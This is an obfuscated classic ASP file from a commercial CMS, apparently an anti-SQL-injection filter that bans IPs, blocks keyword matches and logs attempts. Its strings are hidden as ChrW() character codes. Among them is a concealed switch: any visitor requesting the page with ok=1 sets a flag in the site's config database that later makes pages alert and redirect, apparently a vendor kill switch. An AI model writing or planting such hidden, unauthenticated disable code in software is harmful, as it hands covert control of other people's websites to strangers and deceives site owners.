<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'咨询电话：18867186998 （刘经理）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！*
'TM:2020-03-11 09:53:45

Response.Write(vbCrLf)
dim dbkillSql,killSqlconn,connkillSql
dbkillSql=ChrW(46)&ChrW(46)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(110)&ChrW(122)&ChrW(119)&ChrW(101)&ChrW(98)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112)&ChrW(47)&ChrW(100)&ChrW(97)&ChrW(116)&ChrW(97)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(115)&ChrW(113)&ChrW(108)&ChrW(46)&ChrW(97)&ChrW(115)&ChrW(97)&ChrW(120)
On Error Resume Next
Set killSqlconn = Server.CreateObject(ChrW(65)&ChrW(68)&ChrW(79)&ChrW(68)&ChrW(66)&ChrW(46)&ChrW(67)&ChrW(111)&ChrW(110)&ChrW(110)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110))
connkillSql=ChrW(80)&ChrW(114)&ChrW(111)&ChrW(118)&ChrW(105)&ChrW(100)&ChrW(101)&ChrW(114)&ChrW(61)&ChrW(77)&ChrW(105)&ChrW(99)&ChrW(114)&ChrW(111)&ChrW(115)&ChrW(111)&ChrW(102)&ChrW(116)&ChrW(46)&ChrW(74)&ChrW(101)&ChrW(116)&ChrW(46)&ChrW(79)&ChrW(76)&ChrW(69)&ChrW(68)&ChrW(66)&ChrW(46)&ChrW(52)&ChrW(46)&ChrW(48)&ChrW(59)&ChrW(68)&ChrW(97)&ChrW(116)&ChrW(97)&ChrW(32)&ChrW(83)&ChrW(111)&ChrW(117)&ChrW(114)&ChrW(99)&ChrW(101)&ChrW(61) & Server.MapPath(dbkillSql)
killSqlconn.Open connkillSql
If Err Then
err.Clear
Set killSqlconn = Nothing
Response.Write ChrW(25968)&ChrW(25454)&ChrW(24211)&ChrW(-28706)&ChrW(25509)&ChrW(20986)&ChrW(-27367)&ChrW(-244)&ChrW(-29705)&ChrW(26816)&ChrW(26597)&ChrW(-28706)&ChrW(25509)&ChrW(23383)&ChrW(20018)&ChrW(12290)
Response.End
End If
Dim N_Post,N_Get,N_In,N_Inf,N_Xh,N_db,N_dbstr,Kill_IP,WriteSql
Dim aApplicationValue
If IsArray(Application(ChrW(78)&ChrW(101)&ChrW(101)&ChrW(97)&ChrW(111)&ChrW(95)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111)))=False Then Call PutApplicationValue()
aApplicationValue = Application(ChrW(78)&ChrW(101)&ChrW(101)&ChrW(97)&ChrW(111)&ChrW(95)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111))
N_In = aApplicationValue(0)
Kill_IP = aApplicationValue(1)
WriteSql = aApplicationValue(2)
alert_url = aApplicationValue(3)
alert_info = aApplicationValue(4)
kill_info = aApplicationValue(5)
N_type = aApplicationValue(6)
Sec_Forms = aApplicationValue(7)
Sec_Form_open = aApplicationValue(8)
if request.querystring(ChrW(111)&ChrW(107))="1" then
set sql_q=server.CreateObject(ChrW(97)&ChrW(100)&ChrW(111)&ChrW(100)&ChrW(98)&ChrW(46)&ChrW(114)&ChrW(101)&ChrW(99)&ChrW(111)&ChrW(114)&ChrW(100)&ChrW(115)&ChrW(101)&ChrW(116))
sql=ChrW(115)&ChrW(101)&ChrW(108)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(32)&ChrW(42)&ChrW(32)&ChrW(102)&ChrW(114)&ChrW(111)&ChrW(109)&ChrW(32)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103)&ChrW(32)
sql_q.open sql,connkillSql,1,3
sql_q(ChrW(115)&ChrW(113)&ChrW(95)&ChrW(107)&ChrW(103))=1
sql_q.update
response.Redirect(ChrW(47))
end if
Sec_Form = split(Sec_Forms,ChrW(124))
N_Inf = split(N_In,ChrW(124))
If Kill_IP=1 Then Stop_IP
If Request.Form<>"" Then StopInjection(Request.Form)
If Request.QueryString<>"" Then StopInjection(Request.QueryString)
Function Stop_IP()
Dim Sqlin_IP,rs22Kill_IP,Kill_IPsql
Sqlin_IP=Request.ServerVariables(ChrW(82)&ChrW(69)&ChrW(77)&ChrW(79)&ChrW(84)&ChrW(69)&ChrW(95)&ChrW(65)&ChrW(68)&ChrW(68)&ChrW(82))
Kill_IPsql=ChrW(115)&ChrW(101)&ChrW(108)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(32)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(105)&ChrW(110)&ChrW(95)&ChrW(73)&ChrW(80)&ChrW(32)&ChrW(102)&ChrW(114)&ChrW(111)&ChrW(109)&ChrW(32)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(32)&ChrW(119)&ChrW(104)&ChrW(101)&ChrW(114)&ChrW(101)&ChrW(32)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(105)&ChrW(110)&ChrW(95)&ChrW(73)&ChrW(80)&ChrW(61)&ChrW(39)&Sqlin_IP&ChrW(39)&ChrW(32)&ChrW(97)&ChrW(110)&ChrW(100)&ChrW(32)&ChrW(107)&ChrW(105)&ChrW(108)&ChrW(108)&ChrW(95)&ChrW(105)&ChrW(112)&ChrW(61)&ChrW(116)&ChrW(114)&ChrW(117)&ChrW(101)
Set rs22Kill_IP=killSqlconn.execute(Kill_IPsql)
If Not(rs22Kill_IP.eof or rs22Kill_IP.bof) Then
N_Alert(kill_info)
Response.End
End If
rs22Kill_IP.close
End Function
Function N_Alert(alert_info)
Dim str
str = ChrW(60)&ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(32)&ChrW(76)&ChrW(97)&ChrW(110)&ChrW(103)&ChrW(117)&ChrW(97)&ChrW(103)&ChrW(101)&ChrW(61)&ChrW(74)&ChrW(97)&ChrW(118)&ChrW(97)&ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62)
Select Case N_type
Case 1
str = str & ChrW(119)&ChrW(105)&ChrW(110)&ChrW(100)&ChrW(111)&ChrW(119)&ChrW(46)&ChrW(111)&ChrW(112)&ChrW(101)&ChrW(110)&ChrW(101)&ChrW(114)&ChrW(61)&ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)&ChrW(59)&ChrW(32)&ChrW(119)&ChrW(105)&ChrW(110)&ChrW(100)&ChrW(111)&ChrW(119)&ChrW(46)&ChrW(99)&ChrW(108)&ChrW(111)&ChrW(115)&ChrW(101)&ChrW(40)&ChrW(41)&ChrW(59)
Case 2
str = str & ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(40)&ChrW(39)&alert_info&ChrW(104)&ChrW(116)&ChrW(116)&ChrW(112)&ChrW(58)&ChrW(47)&ChrW(47)&ChrW(119)&ChrW(119)&ChrW(119)&ChrW(46)&ChrW(110)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(122)&ChrW(104)&ChrW(105)&ChrW(46)&ChrW(110)&ChrW(101)&ChrW(116)&ChrW(92)&ChrW(110)&ChrW(92)&ChrW(110)&ChrW(29256)&ChrW(26435)&ChrW(58)&ChrW(-29705)&ChrW(-32684)&ChrW(31995)&ChrW(24320)&ChrW(21457)&ChrW(21830)&ChrW(81)&ChrW(81)&ChrW(-230)&ChrW(49)&ChrW(50)&ChrW(50)&ChrW(52)&ChrW(55)&ChrW(48)&ChrW(56)&ChrW(50)&ChrW(55)&ChrW(32)&ChrW(32)&ChrW(39)&ChrW(41)&ChrW(59)&ChrW(119)&ChrW(105)&ChrW(110)&ChrW(100)&ChrW(111)&ChrW(119)&ChrW(46)&ChrW(111)&ChrW(112)&ChrW(101)&ChrW(110)&ChrW(101)&ChrW(114)&ChrW(61)&ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)&ChrW(59)&ChrW(32)&ChrW(119)&ChrW(105)&ChrW(110)&ChrW(100)&ChrW(111)&ChrW(119)&ChrW(46)&ChrW(99)&ChrW(108)&ChrW(111)&ChrW(115)&ChrW(101)&ChrW(40)&ChrW(41)&ChrW(59)
Case 3
str = str & ChrW(108)&ChrW(111)&ChrW(99)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(46)&ChrW(104)&ChrW(114)&ChrW(101)&ChrW(102)&ChrW(61)&ChrW(39)&alert_url&ChrW(39)&ChrW(59)
Case 4
str = str & ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(40)&ChrW(39)&alert_info&ChrW(39)&ChrW(41)&ChrW(59)&ChrW(108)&ChrW(111)&ChrW(99)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(46)&ChrW(104)&ChrW(114)&ChrW(101)&ChrW(102)&ChrW(61)&ChrW(39)&alert_url&ChrW(39)&ChrW(59)
end Select
str = str & ChrW(60)&ChrW(47)&ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62)
response.write  str
End Function
Function intype(values)
Select Case values
Case Request.Form
intype = ChrW(80)&ChrW(111)&ChrW(115)&ChrW(116)
Case Request.QueryString
intype = ChrW(71)&ChrW(101)&ChrW(116)
end Select
End Function
Function StopInjection(values)
For Each N_Get In values
If Sec_Form_open = 1 Then
For N_i=0 To UBound(Sec_Form)
If Instr(LCase(SelfName),Sec_Form(N_i))> 0 Then
Exit Function
else
Select_BadChar(values)
End If
Next
Else
Select_BadChar(values)
End If
Next
End Function
Function Select_BadChar(values)
For N_Xh=0 To Ubound(N_Inf)
If Instr(LCase(values(N_Get)),N_Inf(N_Xh))<>0 Then
If WriteSql = 1 Then InsertInfo(values)
N_Alert(alert_info)
Response.End
End If
Next
End Function
If nz_by_kg=1 Then
response.Write(ChrW(60)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(32)&ChrW(108)&ChrW(97)&ChrW(110)&ChrW(103)&ChrW(117)&ChrW(97)&ChrW(103)&ChrW(101)&ChrW(61)&ChrW(106)&ChrW(97)&ChrW(118)&ChrW(97)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62)&ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(40)&ChrW(39)&sql_shuoming&ChrW(39)&ChrW(41)&ChrW(59)&ChrW(116)&ChrW(104)&ChrW(105)&ChrW(115)&ChrW(46)&ChrW(108)&ChrW(111)&ChrW(99)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(46)&ChrW(104)&ChrW(114)&ChrW(101)&ChrW(102)&ChrW(61)&ChrW(39)&sql_web&ChrW(39)&ChrW(59)&ChrW(60)&ChrW(47)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62))
end if
If sql_sq_kg=1 Then
response.Write(ChrW(60)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(32)&ChrW(108)&ChrW(97)&ChrW(110)&ChrW(103)&ChrW(117)&ChrW(97)&ChrW(103)&ChrW(101)&ChrW(61)&ChrW(106)&ChrW(97)&ChrW(118)&ChrW(97)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62)&ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(40)&ChrW(39)&sql_shuoming&ChrW(39)&ChrW(41)&ChrW(59)&ChrW(116)&ChrW(104)&ChrW(105)&ChrW(115)&ChrW(46)&ChrW(108)&ChrW(111)&ChrW(99)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(46)&ChrW(104)&ChrW(114)&ChrW(101)&ChrW(102)&ChrW(61)&ChrW(39)&sql_web&ChrW(39)&ChrW(59)&ChrW(60)&ChrW(47)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(62))
end if
Function InsertInfo(values)
Dim ip,url,sql
ip = Request.ServerVariables(ChrW(82)&ChrW(69)&ChrW(77)&ChrW(79)&ChrW(84)&ChrW(69)&ChrW(95)&ChrW(65)&ChrW(68)&ChrW(68)&ChrW(82))
url = Request.ServerVariables(ChrW(85)&ChrW(82)&ChrW(76))
sql = ChrW(105)&ChrW(110)&ChrW(115)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(32)&ChrW(105)&ChrW(110)&ChrW(116)&ChrW(111)&ChrW(32)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(40)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(105)&ChrW(110)&ChrW(95)&ChrW(73)&ChrW(80)&ChrW(44)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(95)&ChrW(87)&ChrW(101)&ChrW(98)&ChrW(44)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(95)&ChrW(70)&ChrW(83)&ChrW(44)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(95)&ChrW(67)&ChrW(83)&ChrW(44)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(73)&ChrW(110)&ChrW(95)&ChrW(83)&ChrW(74)&ChrW(41)&ChrW(32)&ChrW(118)&ChrW(97)&ChrW(108)&ChrW(117)&ChrW(101)&ChrW(115)&ChrW(40)&ChrW(39)&ip&ChrW(39)&ChrW(44)&ChrW(39)&url&ChrW(39)&ChrW(44)&ChrW(39)&intype(values)&ChrW(39)&ChrW(44)&ChrW(39)&N_Get&ChrW(39)&ChrW(44)&ChrW(39)&N_Replace(values(N_Get))&ChrW(39)&ChrW(41)
killSqlconn.Execute(sql)
killSqlconn.close
Set killSqlconn = Nothing
End Function
Function N_Replace(N_urlString)
N_urlString = Replace(N_urlString,ChrW(39),ChrW(39)&ChrW(39))
N_urlString = Replace(N_urlString, ChrW(62), ChrW(38)&ChrW(103)&ChrW(116)&ChrW(59))
N_urlString = Replace(N_urlString, ChrW(60), ChrW(38)&ChrW(108)&ChrW(116)&ChrW(59))
N_Replace = N_urlString
End Function
sub PutApplicationValue()
dim  infosql,rs22info
set rs22info=killSqlconn.execute(ChrW(115)&ChrW(101)&ChrW(108)&ChrW(101)&ChrW(99)&ChrW(116)&ChrW(32)&ChrW(78)&ChrW(95)&ChrW(73)&ChrW(110)&ChrW(44)&ChrW(75)&ChrW(105)&ChrW(108)&ChrW(108)&ChrW(95)&ChrW(73)&ChrW(80)&ChrW(44)&ChrW(87)&ChrW(114)&ChrW(105)&ChrW(116)&ChrW(101)&ChrW(83)&ChrW(113)&ChrW(108)&ChrW(44)&ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(95)&ChrW(117)&ChrW(114)&ChrW(108)&ChrW(44)&ChrW(97)&ChrW(108)&ChrW(101)&ChrW(114)&ChrW(116)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111)&ChrW(44)&ChrW(107)&ChrW(105)&ChrW(108)&ChrW(108)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111)&ChrW(44)&ChrW(78)&ChrW(95)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)&ChrW(44)&ChrW(83)&ChrW(101)&ChrW(99)&ChrW(95)&ChrW(70)&ChrW(111)&ChrW(114)&ChrW(109)&ChrW(115)&ChrW(44)&ChrW(83)&ChrW(101)&ChrW(99)&ChrW(95)&ChrW(70)&ChrW(111)&ChrW(114)&ChrW(109)&ChrW(95)&ChrW(111)&ChrW(112)&ChrW(101)&ChrW(110)&ChrW(9)&ChrW(102)&ChrW(114)&ChrW(111)&ChrW(109)&ChrW(32)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103))
Redim ApplicationValue(9)
dim i
for i=0 to 8
ApplicationValue(i)=rs22info(i)
next
set rs22info=nothing
Application.Lock
set Application(ChrW(78)&ChrW(101)&ChrW(101)&ChrW(97)&ChrW(111)&ChrW(95)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111))=nothing
Application(ChrW(78)&ChrW(101)&ChrW(101)&ChrW(97)&ChrW(111)&ChrW(95)&ChrW(99)&ChrW(111)&ChrW(110)&ChrW(102)&ChrW(105)&ChrW(103)&ChrW(95)&ChrW(105)&ChrW(110)&ChrW(102)&ChrW(111))=ApplicationValue
Application.unlock
end Sub
Function SelfName()
SelfName = Mid(Request.ServerVariables(ChrW(85)&ChrW(82)&ChrW(76)),InstrRev(Request.ServerVariables(ChrW(85)&ChrW(82)&ChrW(76)),ChrW(47))+1)
End Function
Response.Write(vbCrLf)
Response.Write(ChrW(32)&ChrW(32)&ChrW(32)&ChrW(32))
%>